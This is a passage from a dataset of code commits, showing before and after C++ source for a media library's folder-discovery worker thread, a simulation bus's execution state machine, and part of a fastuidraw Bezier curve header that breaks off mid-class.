\/\/ Since we just added an element, let's not check for size == 0 :)\n    else if ( m_tasks.size() == 1 )\n        m_cond.notify_all();\n}\n\nvoid DiscovererWorker::run()\n{\n    LOG_INFO( \"Entering DiscovererWorker thread\" );\n    while ( m_run == true )\n    {\n        Task task;\n        {\n            std::unique_lock<compat::Mutex> lock( m_mutex );\n            if ( m_tasks.size() == 0 )\n            {\n                m_cond.wait( lock, [this]() { return m_tasks.size() > 0 || m_run == false; } );\n                if ( m_run == false )\n                    break;\n            }\n            task = m_tasks.front();\n            m_tasks.pop();\n        }\n        m_cb->onDiscoveryStarted( task.entryPoint );\n        if ( task.reload == false )\n        {\n            for ( auto& d : m_discoverers )\n            {\n                \/\/ Assume only one discoverer can handle an entrypoint.\n                try\n                {\n                    if ( d->discover( task.entryPoint ) == true )\n                        break;\n                }\n                catch(std::exception& ex)\n                {\n                    LOG_ERROR( \"Fatal error while discovering \", task.entryPoint, \": \", ex.what() );\n                }\n\n                if ( m_run == false )\n                    break;\n            }\n        }\n        else\n        {\n            for ( auto& d : m_discoverers )\n            {\n                try\n                {\n                    if ( task.entryPoint.empty() == true )\n                        d->reload();\n                    else\n                        d->reload( task.entryPoint );\n                }\n                catch(std::exception& ex)\n                {\n                    LOG_ERROR( \"Fatal error while reloading: \", ex.what() );\n                }\n                if ( m_run == false )\n                    break;\n            }\n        }\n        m_cb->onDiscoveryCompleted( task.entryPoint );\n    }\n    LOG_INFO( \"Exiting DiscovererWorker thread\" );\n}\n\n}\n<commit_msg>discoverer: Log when adding a folder to the discovery list<commit_after>\/*****************************************************************************\n * Media Library\n *****************************************************************************\n * Copyright (C) 2015 Hugo Beauzée-Luyssen, Videolabs\n *\n * Authors: Hugo Beauzée-Luyssen<hugo@beauzee.fr>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#if HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include \"DiscovererWorker.h\"\n\n#include \"logging\/Logger.h\"\n#include \"MediaLibrary.h\"\n\nnamespace medialibrary\n{\n\nDiscovererWorker::DiscovererWorker( MediaLibraryPtr ml )\n    : m_run( false )\n    , m_cb( ml->getCb() )\n{\n}\n\nDiscovererWorker::~DiscovererWorker()\n{\n    stop();\n}\n\nvoid DiscovererWorker::addDiscoverer( std::unique_ptr<IDiscoverer> discoverer )\n{\n    m_discoverers.push_back( std::move( discoverer ) );\n}\n\nvoid DiscovererWorker::stop()\n{\n    bool running = true;\n    if ( m_run.compare_exchange_strong( running, false ) )\n    {\n        {\n            std::unique_lock<compat::Mutex> lock( m_mutex );\n            while ( m_tasks.empty() == false )\n                m_tasks.pop();\n        }\n        m_cond.notify_all();\n        m_thread.join();\n    }\n}\n\nbool DiscovererWorker::discover( const std::string& entryPoint )\n{\n    if ( entryPoint.length() == 0 )\n        return false;\n    LOG_INFO( \"Adding \", entryPoint, \" to the folder discovery list\" );\n    enqueue( entryPoint, false );\n    return true;\n}\n\nvoid DiscovererWorker::reload()\n{\n    enqueue( \"\", true );\n}\n\nvoid DiscovererWorker::reload( const std::string& entryPoint )\n{\n    enqueue( entryPoint, true );\n}\n\nvoid DiscovererWorker::enqueue( const std::string& entryPoint, bool reload )\n{\n    std::unique_lock<compat::Mutex> lock( m_mutex );\n\n    m_tasks.emplace( entryPoint, reload );\n    if ( m_thread.get_id() == compat::Thread::id{} )\n    {\n        m_run = true;\n        m_thread = compat::Thread( &DiscovererWorker::run, this );\n    }\n    \/\/ Since we just added an element, let's not check for size == 0 :)\n    else if ( m_tasks.size() == 1 )\n        m_cond.notify_all();\n}\n\nvoid DiscovererWorker::run()\n{\n    LOG_INFO( \"Entering DiscovererWorker thread\" );\n    while ( m_run == true )\n    {\n        Task task;\n        {\n            std::unique_lock<compat::Mutex> lock( m_mutex );\n            if ( m_tasks.size() == 0 )\n            {\n                m_cond.wait( lock, [this]() { return m_tasks.size() > 0 || m_run == false; } );\n                if ( m_run == false )\n                    break;\n            }\n            task = m_tasks.front();\n            m_tasks.pop();\n        }\n        m_cb->onDiscoveryStarted( task.entryPoint );\n        if ( task.reload == false )\n        {\n            for ( auto& d : m_discoverers )\n            {\n                \/\/ Assume only one discoverer can handle an entrypoint.\n                try\n                {\n                    if ( d->discover( task.entryPoint ) == true )\n                        break;\n                }\n                catch(std::exception& ex)\n                {\n                    LOG_ERROR( \"Fatal error while discovering \", task.entryPoint, \": \", ex.what() );\n                }\n\n                if ( m_run == false )\n                    break;\n            }\n        }\n        else\n        {\n            for ( auto& d : m_discoverers )\n            {\n                try\n                {\n                    if ( task.entryPoint.empty() == true )\n                        d->reload();\n                    else\n                        d->reload( task.entryPoint );\n                }\n                catch(std::exception& ex)\n                {\n                    LOG_ERROR( \"Fatal error while reloading: \", ex.what() );\n                }\n                if ( m_run == false )\n                    break;\n            }\n        }\n        m_cb->onDiscoveryCompleted( task.entryPoint );\n    }\n    LOG_INFO( \"Exiting DiscovererWorker thread\" );\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#define NOMINMAX\n#include \"dsb\/bus\/execution_state.hpp\"\n\n#include <algorithm>\n#include <limits>\n#include <stdexcept>\n#include <string>\n\n#include \"dsb\/bus\/execution_manager_private.hpp\"\n#include \"dsb\/bus\/slave_control_messenger.hpp\"\n#include \"dsb\/bus\/slave_controller.hpp\"\n#include \"dsb\/util.hpp\"\n\n\nnamespace dsb\n{\nnamespace bus\n{\n\n\n\/\/ =============================================================================\n\n\nvoid ConfigExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\nvoid ConfigExecutionState::BeginConfig(\n    ExecutionManagerPrivate& \/*self*\/,\n    ExecutionManager::BeginConfigHandler onComplete)\n{\n    \/\/ Do nothing, we're already here.\n    onComplete(std::error_code());\n}\n\n\nvoid ConfigExecutionState::EndConfig(\n    ExecutionManagerPrivate& self,\n    ExecutionManager::BeginConfigHandler onComplete)\n{\n    self.SwapState(\n        std::make_unique<PrimingExecutionState>(std::move(onComplete)));\n}\n\n\nvoid ConfigExecutionState::SetSimulationTime(\n    ExecutionManagerPrivate& self,\n    dsb::model::TimePoint startTime,\n    dsb::model::TimePoint stopTime)\n{\n    DSB_PRECONDITION_CHECK(self.slaves.empty());\n    DSB_INPUT_CHECK(startTime <= stopTime);\n    self.slaveSetup.startTime = startTime;\n    self.slaveSetup.stopTime = stopTime;\n}\n\n\n\/\/ NOTE:\n\/\/ None of the per-slave operation completion handlers in the CONFIG state\n\/\/ should capture the 'this' pointer of the ConfigExecutionState object.\n\/\/ The reason is that if the user calls EndConfig() while operations are still\n\/\/ pending, the operations will not complete in this state, but in the PRIMING\n\/\/ state.  Hence, the object will have been deleted and replaced with a\n\/\/ PrimingExecutionState object.\n\ndsb::model::SlaveID ConfigExecutionState::AddSlave(\n    ExecutionManagerPrivate& self,\n    const dsb::net::SlaveLocator& slaveLocator,\n    dsb::comm::Reactor& reactor,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::AddSlaveHandler onComplete)\n{\n    DSB_INPUT_CHECK(!!onComplete);\n    if (self.lastSlaveID == std::numeric_limits<dsb::model::SlaveID>::max()) {\n        throw std::length_error(\"Maximum number of slaves reached\");\n    }\n    const auto id = ++self.lastSlaveID;\n    const auto selfPtr = &self;\n    self.slaves.insert(std::make_pair(id, std::make_unique<dsb::bus::SlaveController>(\n        reactor,\n        slaveLocator,\n        id,\n        self.slaveSetup,\n        timeout,\n        [id, onComplete, selfPtr] (const std::error_code& ec) {\n            if (!ec) {\n                onComplete(std::error_code(), id);\n            } else {\n                selfPtr->slaves[id]->Close();\n                selfPtr->slaves.erase(id);\n                onComplete(ec, dsb::model::INVALID_SLAVE_ID);\n            }\n            selfPtr->SlaveOpComplete();\n        })));\n    selfPtr->SlaveOpStarted();\n    return id;\n}\n\n\nvoid ConfigExecutionState::SetVariables(\n    ExecutionManagerPrivate& self,\n    dsb::model::SlaveID slave,\n    const std::vector<dsb::model::VariableSetting>& settings,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::SetVariablesHandler onComplete)\n{\n    const auto selfPtr = &self;\n    self.slaves.at(slave)->SetVariables(\n        settings,\n        timeout,\n        [onComplete, selfPtr](const std::error_code& ec) {\n            const auto onExit = dsb::util::OnScopeExit([=]() {\n                selfPtr->SlaveOpComplete();\n            });\n            onComplete(ec);\n        });\n    self.SlaveOpStarted();\n}\n\n\n\/\/ =============================================================================\n\n\nPrimingExecutionState::PrimingExecutionState(\n    ExecutionManager::EndConfigHandler onComplete)\n    : m_onComplete(std::move(onComplete))\n{\n}\n\n\nvoid PrimingExecutionState::StateEntered(ExecutionManagerPrivate& self)\n{\n    const auto selfPtr = &self;\n    self.WhenAllSlaveOpsComplete([selfPtr, this] (const std::error_code& ec) {\n        assert(!ec);\n        const auto keepMeAlive = selfPtr->SwapState(std::make_unique<ReadyExecutionState>());\n        assert(keepMeAlive.get() == this);\n        dsb::util::MoveAndCall(m_onComplete, std::error_code());\n   });\n}\n\n\n\/\/ =============================================================================\n\n\nvoid ReadyExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\nvoid ReadyExecutionState::BeginConfig(\n    ExecutionManagerPrivate& self,\n    ExecutionManager::BeginConfigHandler onComplete)\n{\n    self.SwapState(std::make_unique<ConfigExecutionState>());\n    onComplete(std::error_code());\n}\n\n\nvoid ReadyExecutionState::Step(\n    ExecutionManagerPrivate& self,\n    dsb::model::TimeDuration stepSize,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::StepHandler onComplete,\n    ExecutionManager::SlaveStepHandler onSlaveStepComplete)\n{\n    self.SwapState(std::make_unique<SteppingExecutionState>(\n        stepSize, timeout, std::move(onComplete), std::move(onSlaveStepComplete)));\n}\n\n\n\/\/ =============================================================================\n\n\nSteppingExecutionState::SteppingExecutionState(\n    dsb::model::TimeDuration stepSize,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::StepHandler onComplete,\n    ExecutionManager::SlaveStepHandler onSlaveStepComplete)\n    : m_stepSize(stepSize),\n      m_timeout(timeout),\n      m_onComplete(std::move(onComplete)),\n      m_onSlaveStepComplete(std::move(onSlaveStepComplete))\n{\n}\n\n\nvoid SteppingExecutionState::StateEntered(ExecutionManagerPrivate& self)\n{\n    const auto stepID = self.NextStepID();\n    const auto selfPtr = &self; \/\/ Because we can't capture references in lambdas\n    for (auto it = begin(self.slaves); it != end(self.slaves); ++it) {\n        const auto slaveID = it->first;\n        it->second->Step(\n            stepID,\n            self.CurrentSimTime(),\n            m_stepSize,\n            m_timeout,\n            [selfPtr, slaveID, this] (const std::error_code& ec) {\n                const auto onExit = dsb::util::OnScopeExit([=]() {\n                    selfPtr->SlaveOpComplete();\n                });\n                if (m_onSlaveStepComplete) m_onSlaveStepComplete(ec, slaveID);\n            });\n        self.SlaveOpStarted();\n    }\n    self.WhenAllSlaveOpsComplete([selfPtr, this] (const std::error_code& ec) {\n        assert(!ec);\n        bool stepFailed = false;\n        bool fatalError = false;\n        for (auto it = begin(selfPtr->slaves); it != end(selfPtr->slaves); ++it) {\n            if (it->second->State() == SLAVE_STEP_OK) {\n                \/\/ do nothing\n            } else if (it->second->State() == SLAVE_STEP_FAILED) {\n                stepFailed = true;\n            } else {\n                assert(it->second->State() == SLAVE_NOT_CONNECTED);\n                fatalError = true;\n                break; \/\/ because there's no point in continuing\n            }\n        }\n        if (fatalError) {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<FatalErrorExecutionState>());\n            assert(keepMeAlive.get() == this);\n            m_onComplete(make_error_code(dsb::error::generic_error::operation_failed));\n        } else if (stepFailed) {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<StepFailedExecutionState>());\n            assert(keepMeAlive.get() == this);\n            m_onComplete(dsb::error::sim_error::cannot_perform_timestep);\n        } else {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<StepOkExecutionState>(m_stepSize));\n            assert(keepMeAlive.get() == this);\n            m_onComplete(std::error_code());\n        }\n    });           \n}\n\n\n\/\/ =============================================================================\n\n\nStepOkExecutionState::StepOkExecutionState(dsb::model::TimeDuration stepSize)\n    : m_stepSize(stepSize)\n{\n}\n\n\nvoid StepOkExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\nvoid StepOkExecutionState::AcceptStep(\n    ExecutionManagerPrivate& self,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::AcceptStepHandler onComplete,\n    ExecutionManager::SlaveAcceptStepHandler onSlaveAcceptStepComplete)\n{\n    self.AdvanceSimTime(m_stepSize);\n    self.SwapState(std::make_unique<AcceptingExecutionState>(\n        timeout, std::move(onComplete), std::move(onSlaveAcceptStepComplete)));\n}\n\n\n\/\/ =============================================================================\n\n\nAcceptingExecutionState::AcceptingExecutionState(\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::AcceptStepHandler onComplete,\n    ExecutionManager::SlaveAcceptStepHandler onSlaveAcceptStepComplete)\n    : m_timeout(timeout),\n      m_onComplete(std::move(onComplete)),\n      m_onSlaveAcceptStepComplete(std::move(onSlaveAcceptStepComplete))\n{\n}\n\n\nvoid AcceptingExecutionState::StateEntered(ExecutionManagerPrivate& self)\n{\n    const auto selfPtr = &self; \/\/ Because we can't capture references in lambdas\n    for (auto it = begin(self.slaves); it != end(self.slaves); ++it) {\n        const auto slaveID = it->first;\n        it->second->AcceptStep(\n            m_timeout,\n            [selfPtr, slaveID, this] (const std::error_code& ec) {\n                const auto onExit = dsb::util::OnScopeExit([=]() {\n                    selfPtr->SlaveOpComplete();\n                });\n                if (m_onSlaveAcceptStepComplete) {\n                    m_onSlaveAcceptStepComplete(ec, slaveID);\n                }\n            });\n        self.SlaveOpStarted();\n    }\n    self.WhenAllSlaveOpsComplete([selfPtr, this] (const std::error_code& ec) {\n        assert(!ec);\n        bool error = false;\n        for (auto it = begin(selfPtr->slaves); it != end(selfPtr->slaves); ++it) {\n            if (it->second->State() != SLAVE_READY) {\n                assert(it->second->State() == SLAVE_NOT_CONNECTED);\n                error = true;\n                break;\n            }\n        }\n        if (error) {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<FatalErrorExecutionState>());\n            assert(keepMeAlive.get() == this);\n            m_onComplete(make_error_code(dsb::error::generic_error::operation_failed));\n            return;\n        } else {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<ReadyExecutionState>());\n            assert(keepMeAlive.get() == this);\n            m_onComplete(std::error_code());\n        }\n    });\n}\n\n\n\/\/ =============================================================================\n\n\nvoid StepFailedExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\n\/\/ =============================================================================\n\n\nvoid FatalErrorExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\n\/\/ =============================================================================\n\n\nvoid TerminatedExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    \/\/ Do nothing, we're already here.\n}\n\n\n}} \/\/ namespace\n<commit_msg>Postpone slave list cleanup until EndConfig()<commit_after>#define NOMINMAX\n#include \"dsb\/bus\/execution_state.hpp\"\n\n#include <algorithm>\n#include <limits>\n#include <stdexcept>\n#include <string>\n\n#include \"dsb\/bus\/execution_manager_private.hpp\"\n#include \"dsb\/bus\/slave_control_messenger.hpp\"\n#include \"dsb\/bus\/slave_controller.hpp\"\n#include \"dsb\/util.hpp\"\n\n\nnamespace dsb\n{\nnamespace bus\n{\n\n\n\/\/ =============================================================================\n\n\nvoid ConfigExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\nvoid ConfigExecutionState::BeginConfig(\n    ExecutionManagerPrivate& \/*self*\/,\n    ExecutionManager::BeginConfigHandler onComplete)\n{\n    \/\/ Do nothing, we're already here.\n    onComplete(std::error_code());\n}\n\n\nvoid ConfigExecutionState::EndConfig(\n    ExecutionManagerPrivate& self,\n    ExecutionManager::BeginConfigHandler onComplete)\n{\n    self.SwapState(\n        std::make_unique<PrimingExecutionState>(std::move(onComplete)));\n}\n\n\nvoid ConfigExecutionState::SetSimulationTime(\n    ExecutionManagerPrivate& self,\n    dsb::model::TimePoint startTime,\n    dsb::model::TimePoint stopTime)\n{\n    DSB_PRECONDITION_CHECK(self.slaves.empty());\n    DSB_INPUT_CHECK(startTime <= stopTime);\n    self.slaveSetup.startTime = startTime;\n    self.slaveSetup.stopTime = stopTime;\n}\n\n\n\/\/ NOTE:\n\/\/ None of the per-slave operation completion handlers in the CONFIG state\n\/\/ should capture the 'this' pointer of the ConfigExecutionState object.\n\/\/ The reason is that if the user calls EndConfig() while operations are still\n\/\/ pending, the operations will not complete in this state, but in the PRIMING\n\/\/ state.  Hence, the object will have been deleted and replaced with a\n\/\/ PrimingExecutionState object.\n\ndsb::model::SlaveID ConfigExecutionState::AddSlave(\n    ExecutionManagerPrivate& self,\n    const dsb::net::SlaveLocator& slaveLocator,\n    dsb::comm::Reactor& reactor,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::AddSlaveHandler onComplete)\n{\n    DSB_INPUT_CHECK(!!onComplete);\n    if (self.lastSlaveID == std::numeric_limits<dsb::model::SlaveID>::max()) {\n        throw std::length_error(\"Maximum number of slaves reached\");\n    }\n    const auto id = ++self.lastSlaveID;\n    const auto selfPtr = &self;\n    self.slaves.insert(std::make_pair(id, std::make_unique<dsb::bus::SlaveController>(\n        reactor,\n        slaveLocator,\n        id,\n        self.slaveSetup,\n        timeout,\n        [id, onComplete, selfPtr] (const std::error_code& ec) {\n            if (!ec) {\n                onComplete(std::error_code(), id);\n            } else {\n                onComplete(ec, dsb::model::INVALID_SLAVE_ID);\n            }\n            selfPtr->SlaveOpComplete();\n        })));\n    selfPtr->SlaveOpStarted();\n    return id;\n}\n\n\nvoid ConfigExecutionState::SetVariables(\n    ExecutionManagerPrivate& self,\n    dsb::model::SlaveID slave,\n    const std::vector<dsb::model::VariableSetting>& settings,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::SetVariablesHandler onComplete)\n{\n    const auto selfPtr = &self;\n    self.slaves.at(slave)->SetVariables(\n        settings,\n        timeout,\n        [onComplete, selfPtr](const std::error_code& ec) {\n            const auto onExit = dsb::util::OnScopeExit([=]() {\n                selfPtr->SlaveOpComplete();\n            });\n            onComplete(ec);\n        });\n    self.SlaveOpStarted();\n}\n\n\n\/\/ =============================================================================\n\n\nPrimingExecutionState::PrimingExecutionState(\n    ExecutionManager::EndConfigHandler onComplete)\n    : m_onComplete(std::move(onComplete))\n{\n}\n\n\nvoid PrimingExecutionState::StateEntered(ExecutionManagerPrivate& self)\n{\n    const auto selfPtr = &self;\n    self.WhenAllSlaveOpsComplete([selfPtr, this] (const std::error_code& ec) {\n        assert(!ec);\n\n        \/\/ Garbage collection: Remove all slave controllers whose connection\n        \/\/ has failed or been canceled.\n        for (auto it = begin(selfPtr->slaves); it != end(selfPtr->slaves); ) {\n            if (it->second->State() == SLAVE_NOT_CONNECTED) {\n                it = selfPtr->slaves.erase(it);\n            } else {\n                ++it;\n            }\n        }\n\n        const auto keepMeAlive = selfPtr->SwapState(std::make_unique<ReadyExecutionState>());\n        assert(keepMeAlive.get() == this);\n        dsb::util::MoveAndCall(m_onComplete, std::error_code());\n   });\n}\n\n\n\/\/ =============================================================================\n\n\nvoid ReadyExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\nvoid ReadyExecutionState::BeginConfig(\n    ExecutionManagerPrivate& self,\n    ExecutionManager::BeginConfigHandler onComplete)\n{\n    self.SwapState(std::make_unique<ConfigExecutionState>());\n    onComplete(std::error_code());\n}\n\n\nvoid ReadyExecutionState::Step(\n    ExecutionManagerPrivate& self,\n    dsb::model::TimeDuration stepSize,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::StepHandler onComplete,\n    ExecutionManager::SlaveStepHandler onSlaveStepComplete)\n{\n    self.SwapState(std::make_unique<SteppingExecutionState>(\n        stepSize, timeout, std::move(onComplete), std::move(onSlaveStepComplete)));\n}\n\n\n\/\/ =============================================================================\n\n\nSteppingExecutionState::SteppingExecutionState(\n    dsb::model::TimeDuration stepSize,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::StepHandler onComplete,\n    ExecutionManager::SlaveStepHandler onSlaveStepComplete)\n    : m_stepSize(stepSize),\n      m_timeout(timeout),\n      m_onComplete(std::move(onComplete)),\n      m_onSlaveStepComplete(std::move(onSlaveStepComplete))\n{\n}\n\n\nvoid SteppingExecutionState::StateEntered(ExecutionManagerPrivate& self)\n{\n    const auto stepID = self.NextStepID();\n    const auto selfPtr = &self; \/\/ Because we can't capture references in lambdas\n    for (auto it = begin(self.slaves); it != end(self.slaves); ++it) {\n        const auto slaveID = it->first;\n        it->second->Step(\n            stepID,\n            self.CurrentSimTime(),\n            m_stepSize,\n            m_timeout,\n            [selfPtr, slaveID, this] (const std::error_code& ec) {\n                const auto onExit = dsb::util::OnScopeExit([=]() {\n                    selfPtr->SlaveOpComplete();\n                });\n                if (m_onSlaveStepComplete) m_onSlaveStepComplete(ec, slaveID);\n            });\n        self.SlaveOpStarted();\n    }\n    self.WhenAllSlaveOpsComplete([selfPtr, this] (const std::error_code& ec) {\n        assert(!ec);\n        bool stepFailed = false;\n        bool fatalError = false;\n        for (auto it = begin(selfPtr->slaves); it != end(selfPtr->slaves); ++it) {\n            if (it->second->State() == SLAVE_STEP_OK) {\n                \/\/ do nothing\n            } else if (it->second->State() == SLAVE_STEP_FAILED) {\n                stepFailed = true;\n            } else {\n                assert(it->second->State() == SLAVE_NOT_CONNECTED);\n                fatalError = true;\n                break; \/\/ because there's no point in continuing\n            }\n        }\n        if (fatalError) {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<FatalErrorExecutionState>());\n            assert(keepMeAlive.get() == this);\n            m_onComplete(make_error_code(dsb::error::generic_error::operation_failed));\n        } else if (stepFailed) {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<StepFailedExecutionState>());\n            assert(keepMeAlive.get() == this);\n            m_onComplete(dsb::error::sim_error::cannot_perform_timestep);\n        } else {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<StepOkExecutionState>(m_stepSize));\n            assert(keepMeAlive.get() == this);\n            m_onComplete(std::error_code());\n        }\n    });           \n}\n\n\n\/\/ =============================================================================\n\n\nStepOkExecutionState::StepOkExecutionState(dsb::model::TimeDuration stepSize)\n    : m_stepSize(stepSize)\n{\n}\n\n\nvoid StepOkExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\nvoid StepOkExecutionState::AcceptStep(\n    ExecutionManagerPrivate& self,\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::AcceptStepHandler onComplete,\n    ExecutionManager::SlaveAcceptStepHandler onSlaveAcceptStepComplete)\n{\n    self.AdvanceSimTime(m_stepSize);\n    self.SwapState(std::make_unique<AcceptingExecutionState>(\n        timeout, std::move(onComplete), std::move(onSlaveAcceptStepComplete)));\n}\n\n\n\/\/ =============================================================================\n\n\nAcceptingExecutionState::AcceptingExecutionState(\n    boost::chrono::milliseconds timeout,\n    ExecutionManager::AcceptStepHandler onComplete,\n    ExecutionManager::SlaveAcceptStepHandler onSlaveAcceptStepComplete)\n    : m_timeout(timeout),\n      m_onComplete(std::move(onComplete)),\n      m_onSlaveAcceptStepComplete(std::move(onSlaveAcceptStepComplete))\n{\n}\n\n\nvoid AcceptingExecutionState::StateEntered(ExecutionManagerPrivate& self)\n{\n    const auto selfPtr = &self; \/\/ Because we can't capture references in lambdas\n    for (auto it = begin(self.slaves); it != end(self.slaves); ++it) {\n        const auto slaveID = it->first;\n        it->second->AcceptStep(\n            m_timeout,\n            [selfPtr, slaveID, this] (const std::error_code& ec) {\n                const auto onExit = dsb::util::OnScopeExit([=]() {\n                    selfPtr->SlaveOpComplete();\n                });\n                if (m_onSlaveAcceptStepComplete) {\n                    m_onSlaveAcceptStepComplete(ec, slaveID);\n                }\n            });\n        self.SlaveOpStarted();\n    }\n    self.WhenAllSlaveOpsComplete([selfPtr, this] (const std::error_code& ec) {\n        assert(!ec);\n        bool error = false;\n        for (auto it = begin(selfPtr->slaves); it != end(selfPtr->slaves); ++it) {\n            if (it->second->State() != SLAVE_READY) {\n                assert(it->second->State() == SLAVE_NOT_CONNECTED);\n                error = true;\n                break;\n            }\n        }\n        if (error) {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<FatalErrorExecutionState>());\n            assert(keepMeAlive.get() == this);\n            m_onComplete(make_error_code(dsb::error::generic_error::operation_failed));\n            return;\n        } else {\n            const auto keepMeAlive = selfPtr->SwapState(\n                std::make_unique<ReadyExecutionState>());\n            assert(keepMeAlive.get() == this);\n            m_onComplete(std::error_code());\n        }\n    });\n}\n\n\n\/\/ =============================================================================\n\n\nvoid StepFailedExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\n\/\/ =============================================================================\n\n\nvoid FatalErrorExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    self.DoTerminate();\n}\n\n\n\/\/ =============================================================================\n\n\nvoid TerminatedExecutionState::Terminate(ExecutionManagerPrivate& self)\n{\n    \/\/ Do nothing, we're already here.\n}\n\n\n}} \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n * \\file int_path.hpp\n * \\brief file int_path.hpp\n *\n * Copyright 2017 by Intel.\n *\n * Contact: kevin.rogovin@intel.com\n *\n * This Source Code Form is subject to the\n * terms of the Mozilla Public License, v. 2.0.\n * If a copy of the MPL was not distributed with\n * this file, You can obtain one at\n * http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\author Kevin Rogovin <kevin.rogovin@intel.com>\n *\n *\/\n\n#pragma once\n\n#include <fastuidraw\/util\/util.hpp>\n#include <fastuidraw\/util\/c_array.hpp>\n#include <fastuidraw\/util\/vecN.hpp>\n#include <fastuidraw\/util\/reference_counted.hpp>\n#include <fastuidraw\/util\/fastuidraw_memory.hpp>\n#include <fastuidraw\/path.hpp>\n#include <fastuidraw\/text\/glyph_render_data_curve_pair.hpp>\n#include <fastuidraw\/text\/glyph_render_data_distance_field.hpp>\n\n#include \"array2d.hpp\"\n#include \"bounding_box.hpp\"\n#include \"util_private.hpp\"\n\nnamespace fastuidraw\n{\n  namespace detail\n  {\n    class IntBezierCurve\n    {\n    public:\n\n      template<typename T>\n      class transformation\n      {\n      public:\n        transformation(T sc = T(1), vecN<T, 2> tr = vecN<T, 2>(T(0))):\n          m_scale(sc),\n          m_translate(tr)\n        {}\n\n        T\n        scale(void) const\n        {\n          return m_scale;\n        }\n\n        vecN<T, 2>\n        translate(void) const\n        {\n          return m_translate;\n        }\n\n        template<typename U>\n        transformation<U>\n        cast(void) const\n        {\n          return transformation<U>(U(m_scale), vecN<U, 2>(m_translate));\n        }\n\n        vecN<T, 2>\n        operator()(vecN<T, 2> p) const\n        {\n          return m_translate + m_scale * p;\n        }\n\n      private:\n        T m_scale;\n        vecN<T, 2> m_translate;\n      };\n\n      class ID_t\n      {\n      public:\n        ID_t(void):\n          m_contourID(-1),\n          m_curveID(-1)\n        {}\n\n        unsigned int m_contourID;\n        unsigned int m_curveID;\n      };\n\n      IntBezierCurve(const ID_t &pID, const IntBezierCurve &curve):\n        m_ID(pID),\n        m_control_pts(curve.m_control_pts),\n        m_num_control_pts(curve.m_num_control_pts),\n        m_as_polynomial_fcn(curve.m_as_polynomial_fcn),\n        m_derivatives_cancel(curve.m_derivatives_cancel),\n        m_bb(curve.m_bb)\n      {\n      }\n\n      IntBezierCurve(const ID_t &pID, const ivec2 &pt0, const ivec2 &pt1):\n        m_ID(pID),\n        m_control_pts(pt0, pt1, ivec2(), ivec2()),\n        m_num_control_pts(2)\n      {\n        process_control_pts();\n      }\n\n      IntBezierCurve(const ID_t &pID, const ivec2 &pt0, const ivec2 &ct,\n                     const ivec2 &pt1):\n        m_ID(pID),\n        m_control_pts(pt0, ct, pt1, ivec2()),\n        m_num_control_pts(3)\n      {\n        process_control_pts();\n      }\n\n      IntBezierCurve(const ID_t &pID, const ivec2 &pt0, const ivec2 &ct0,\n                     const ivec2 &ct1, const ivec2 &pt1):\n        m_ID(pID),\n        m_control_pts(pt0, ct0, ct1, pt1),\n        m_num_control_pts(4)\n      {\n        process_control_pts();\n      }\n\n      ~IntBezierCurve()\n      {}\n\n      const ID_t&\n      ID(void) const\n      {\n        return m_ID;\n      }\n\n      const_c_array<ivec2>\n      control_pts(void) const\n      {\n        return const_c_array<ivec2>(m_control_pts.c_ptr(), m_num_control_pts);\n      }\n\n      const BoundingBox<int>&\n      bounding_box(void) const\n      {\n        return m_bb;\n      }\n\n      BoundingBox<int>\n      bounding_box(const transformation<int> &tr) const\n      {\n        BoundingBox<int> R;\n        R.union_point(tr(m_bb.min_point()));\n        R.union_point(tr(m_bb.max_point()));\n        return R;\n      }\n\n      static\n      bool\n      are_ordered_neighbors(const IntBezierCurve &curve0,\n                            const IntBezierCurve &curve1)\n      {\n        return curve0.control_pts().back() == curve1.control_pts().front();\n      }\n\n      int\n      degree(void) const\n      {\n        